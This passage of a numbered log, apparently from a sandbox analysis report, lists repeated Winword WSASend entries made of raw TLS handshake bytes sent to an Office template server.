  325. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x019_\\xea\\x0bi\\x80\\xb9p\\x9f+l\\xd5,-\\xa3\t\\xaco\\xe0\\xdb,\\xf0\\xefe(r\\xeb\\x82z\\xb4\\xed\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  326.  
  327.  
  328. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x019_\\xea=\\x01\\xad\\xeb\\x8d\\xa1\\x9f\\xd5w53,\\x1ekz6\\x17\\xed\\xab\\xc9\\x9aw\\x19m\\x84q\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  329.  
  330.  
  331. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x019_\\xea\\xf1\\x01\\x1c\\xb8f-q\\x9e/\\x95\\xf3\\x920\\xd7\\xb1\\xe6ot\\xe3\\x93b\\xf3\\x8a\\x16\\xae\\x16\\xdc\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  332.  
  333.  
  334. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x019_\\xea\\xa1\\xad\\xa4\\x036\\x115\\xb7\\xc2\\x94\\xec\\xae\\xa2\\x1d\\xd6\\xaa\\xc2\t\\xb7\\xa3\\x1e\\xc6\\x95\\xc0\\xf3\\x02\\xb2h\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  335.  
  336.  
  337. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x019_\\xead\\x8f|v\\xd9\\x0b\\x94f\\xfd\\x87\\x8c\\xf4\\x05\\xf9\\xe0\t\\xdf\\x9e\\xc2\\xf9\"\\x92\\xd1\\x99\\xec\\xa3\\x87\\xe4\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  338.  
  339.  
  340. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x019_\\xeas\\x05\\x8e\\xe7_|\\xc4?\\xff\\xf7\t\\xeac\\xbc\\xcb\\x92\\xa6\\xb7\\\\xa1c\\xa3;\\x0eo\\xadj2\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  341.  
  342.  
  343. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x019_\\xea\\x19\\xc8s\\xb0\\x0e\\xff\\x04\\xf6\\xea(\\xaex\\xa2\\xd0\\xe8\\x92\\x14\\x86\\xe1:s\\xe0\\x17\\x01\\x00u#\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  344.  
  345.  
  346. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x019_\\xeaeg\\xa7\\xed#\\xa7iu\\x94u\\x1e\\xf7%a\\xbfz\\xd6w\\xb6\\xf0\\x1bl\\xb39\\xf13\r\\xa1\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  347.  
  348.  
  349. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x019_\\xea\\x003\\x9b\\xc5\\x94\\x99\\xd3u;\\xa9\\x9a\\x10\\x9f\\x10\\x1b4\\x7fz\\x92ylpr\\xde\\xe1\\x0b\\xa9i\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  350.  
  351.  
  352. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x019_\\xeaa\\x0er7\\xe8f3\\xd0\\xdab\\xd9\\xc5\\xf5\\xfd\\xa4r5\\xdeg\\x9f+b\\xc6\\xbc\\x08j5\\x1b\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  353.  
  354.  
  355. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x019_\\xea\\xd5\\xff9~\\xebp\\x8dm\\xc55\\xf8t'\\x191\\xee\\xbe\\xa2r\\xf3\\x19\\xf0\\x1d+ \\x9b\\xff\\xd5\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  356.  
  357.  
  358. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x019_\\xea\\xf43v\\x94j\\x04\\xb9\\xdfm>\\x91\\x00rc\\x8d\\x8d\\x84|'\\x8a\\x8a\\x7f\\xb6,\\xear(\\xb7\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  359.  
  360.  
  361. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x019_\\xeami\\xaa\\xa4\\x07\\xb5\\xdabu?\\xa8.j\\x99\\x1c\\x82\\x98a\\xef\\x80z\\xf2ez\\xfdz\\xa4\\xf3\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  362.  
  363.  
  364. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x019_\\xea\\xce@\\xa4_\\xe8zy\\x98\\x1fy\\xe3\\xb6\\xf7\\xa6\\xcee\\x06d\\x15@\\x82.\\xdf\\xfa\\xec4j\\xcd\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  365.  
  366.  
  367. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x019_\\xea\\xb4\\x83u\\xc5\\xc6y\\xdc(\\xa8=\\xcf~\\x95:17-\\xc8\\x03\\xb1\\xe4\\x8e\\xda\\x11\\xc6\\x17\\x16\\x02\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  368.  
  369.  
  370. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x019_\\xea\\x87\\xc9\\x13\\xbbyvz\\xa2\\x12qg:\\xff\\xfc!w\\xa4k\\x90\\xcd\\x8d@\\x1d\\x95\\xd9\\xed_\\xb2\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  371.  
  372.  
  373. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x019_\\xea\\x02\\x8c\\xbd\\xf3z\\xda_\\xb8\\xe5l\\x17\\x14\\x81\\x93\\x9c\\x04\\xf9\\x84s\\xbf\\xe5k/k\\xdd\\xa4\\xc9\\x7f\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  374.  
  375.  
  376. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x019_\\xea$\\xfc\\xbb|\\x8d\\xd4\\xe1\\xcd0\\xaf\\xa0l\\xd2\\xd6\\xa3.^\\xd2\\xf0\\x07\\xb9:\\xed!\\x0en`\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  377.  
  378.  
  379. "http_request": "winword.exe_WSASend_\\x1e\\x02\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x019_\\xea\\xb3\\xf2o\\xb1\\xcc\\xefe!\\xdb\\xfeq\\xd7\\x00hy\\xc3^$\\xe2\\xfb\\x93\\xf8\\x05^\\x983r\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  380.  
  381.  
  382. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x019_\\xea\\xb1\\xfe\\xb8\\xbflt\\x9acg\\xf8\\x86\\xe7\\x8b\r\\x10\\xda\\x93\\xa6\\xd9.\\xd1\\xd4\\x16\\x87\\xfa\\xd0\\xd5\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  383.  
  384.  
  385. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x019_\\xea*s-\\x92\\x7f\\xd4\\xf8et\\xd1k\\x98\t\\xc2fh\\x1f\\x8a\\xf9b\\x8cc\\xbf\\x01z\\xd2\\xfc\\x99\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  386.  
  387.  
  388. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x019_\\xea\\x9egs\\xce\\xcb\\xfc\\x84=3\\xe0*\\x80\\xf1\\xfa\\xeb;\\xbc\\xc4\\x81\\xcf\\x94\\xfb\\xc7\\x10^@\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  389.  
  390.  
  391. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x019_\\xea\\xe6\"w\\x03\\xe0o*-;\\xc7\\xff\\x1c&\\x99\\xd1\\xaa\\xa5\\xcc\\x02\\xc4l\\xfd \\x1d's\\x90\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  392.  
  393.  
  394. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x019_\\xea\\xe8\\xa5\\xe3m\\x88\\xc6\\x02b\\xd5\\x0e\\x0e\\xd4\\xe6\\xd5\\xba\\x18o-3\\xa5%v\\x84\\xa9\\x9a\\xaf\\x18\\x1e\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  395.  
  396.  
  397. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x019_\\xea\\xcd%\\xaf\\x8f6\\xb3\\xd4m\\xf9\\xea\\xf2\\x18\\xf6n1d\\xc6f-\\xb2g\\xfaod\\x10\\xf1\\xb7'\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  398.  
  399.  
  400. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x019_\\xebr\\xf1\\xb3\\x14\\xe8\\xfc\\x15\\xcf\\xfc\\xd6l\\x93\\xba\\xb9~e/kq\\xb3d(n\\xd4\\xa8\\x8e\\x96\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  401.  
  402.  
  403. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x019_\\xeb`>\\xfd\\x9a\\xb4=\\xfb\\x92cz\\xb0\\xd1\\xa3\\xe9\n\\x02\\xd6\\xdb\\xf2q\\xe3\\xba\\x08\ton:\\xf1\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  404.  
  405.  
  406. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x019_\\xeb_7sna\\x15\\xa5#z\\x18\\xa9\\xeb\\xec:\\xc5\\x8d\\xa3\\xc772t\\x9b\\xdc\\xdf\\xb9~\\xfd\\xee\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  407.  
  408.  
  409. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x019_\\xeb+\\x92\\xe0\\xc6\\xa9@hq\\xdd\\xb9\\xd2\\x18v\\xa3\\x9di\\xfeg\\xf4\\xe9xa4k\\xc8\\xe4\\x85o\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  410.  
  411.  
  412. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x019_\\xeb\\xb2\\xfc\\x19\\x84p\\x9c9h\t\\xcf\\xed\\xc1\\xc6\\xafw\\x0f\\x87\\x83\\x7f\\x1f\\x95\\xa4\\xaeh\\x01\\xb4\\xfb\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  413.  
  414.  
  415. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x019_\\xeb\\xcdri\\x9e\\xce\\xa9r\\xe3\\x9cg>\\x99\\xeaf\\x83\\xf6\\xaf\\x08w\\xdbd<\\xab\\xb5\\x15\\xd6\\xca\\xe4\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  416.  
  417.  
  418. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xffx\\x84<\\xf4|\\xda~\\xb8\\xc5\\xe6j d\\x8fk\\x86\\xd7\\x86-z\\x84\\x11\\x10\\x94\\x94\\x98\\xb7\\xda,\\x9c\\xa7f\\x9c\\x08a\\x10\\x93\\x14!\\xce\\xa9\\xf1o\\x97/\\x12\\xaf\\x86\r\\xb8\\xed\\xfb\\x8c.\\xa7\\x825,\\xaf\\xca!\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000s\\x18\\x10p\\x8e\\xae\\xea\\x04\\x0cj\\xccbh\\x0b\\x9a\\xad\\xd2>j?\\xa2f\\x92)x\\xe7\"\\xbb\\x9f\\x92+\\xe5\\xed\\xf7\\xd7n\\xa1\\xdb\\x02\\xd2\\xcc\\xc9\\xc2\\xbe\\xefl\\x11"
  419.  
  420.  
  421. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04_\\xb6\\x04\\x9d\\x1c8\\xc8\\xff\\xc0c9\\x01\\xb5c\\xff\\xd3z\\xcdb\\xdb|\\xb6\\xed@\\x13f\\xf0\\xf3s\\xb9g7-8k\\x89k$(\\x8e\\x10\\x11z\\x93i\\x91= \\xf9|=-\\xa8e\\xc10\\xee\\x10xu*$\\xc0\\x1e\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000dq\\xe78\\x90\\xc1\\x85m\\xf8\\x02v\\xf1\\x1e\\\\xdd\\xbae\\x8a3/\\xac\\x05\\xdf\\xab\nzb\\x8c\\x1fl:\\xe7\\xbe\\xb9z8\\xe34t\\x85\\xe5t\\xa3\\xda\\xee"
  422.  
  423.  
  424. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xa0\t\\xd5.\\xcc/\\xe1\\xdd\\xf6\\xc8s\\x90st\\x15\\x16c\\xb1i\\xa9\\x8f\\x17\\xf2\\x85-\\x9d\\xa5\\\\xdcaq\\x8f\\x10\\x02\\xcf\\x93~\\x86\\xd2x\\xb8\\xa96i\\xc1e\\xd6\\x10\\xa9le\\x10\\x97b\\x1e\\x9dp\n\\xc1\\xd3\\xcd\\x00n\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000y\t\\xc0\\x02\\xd9\\x8d\\xc6\\xc5&\\xad\\xe1+@\\x14z\\xbc\\xc4\\xf8s\\xe4\\xfb\\xe9.&\\xf2b6v\\xe7*\\x8a\\xe1,vqx\\xa3!6q\\x9d\\x84\\xe0~\\x83j\\xaf"
  425.  
  426.  
  427. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04g>e\\xb6\\xae\\xad\\xab$\\xa7\\xab|\\xealz\\x89\\xfe\\xb5\\xe3d~\\xd8@\\x10\\x14\\x1c3/\\xd8,\\xe5\\x1433\\xa6\\xca\\x01\\x11\\xde\\xd2qn\\xc5\\xeb\\x1a:e\\x93h\\xbfpu\\xf1j\\xe0\\x87(\\x99\\x1d6q\\x8d\\xf4\\xe9\\xb5\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000nz\\x167\\xd1\\xc4x@i\\xd5\\xb7\\x86\\x97\\xdd\\xaa\\x00%`r\\xd0\\xb1\\xf9\\x98q\\xe4\\x98h_2\\xc5\\xab\\xcd-z\\x93t\\x18\\x8c'2\\x1f\\xd5e\\xe0\\x16\\xe5\\xbdo"
  428.  
  429.  
  430. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04s\\x1co\\xc0i\\xae9\\x07\\x8a\\xd5\\xc9\\xc5q\\xad\\x82\\x19x\\x89\\x00\\xf6\\xd3\\xfe\\xf5\\x8e\\x9fn\\x9f:p\\xf3\\x13\\xc1t(\\xfd\\x85\\xbe\\xdc\\xdb_\\x9d\\xea\\x05\\x8fh\\x8b\\x8a\\x9b\\x10\\xf0\\x9d+\"w\\x8a~\\xf4d\\xc1\\xc2q\\xfd\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xa4\\xe6\\xe6\\xfb\\xd8k\\xdf\\x13\nr\\x7fpg\"gk\\x93\\xe0\\xdf\\x0f\\xde\\xebs\\xe2w\\xd6g\\x97\\xc4\\xc0\\x87\\xfca\\x0b\\xc26gv\\xb4\\xcf\\x9ced\\xab\\xd0\\xb8\\xf3"
  431.  
  432.  
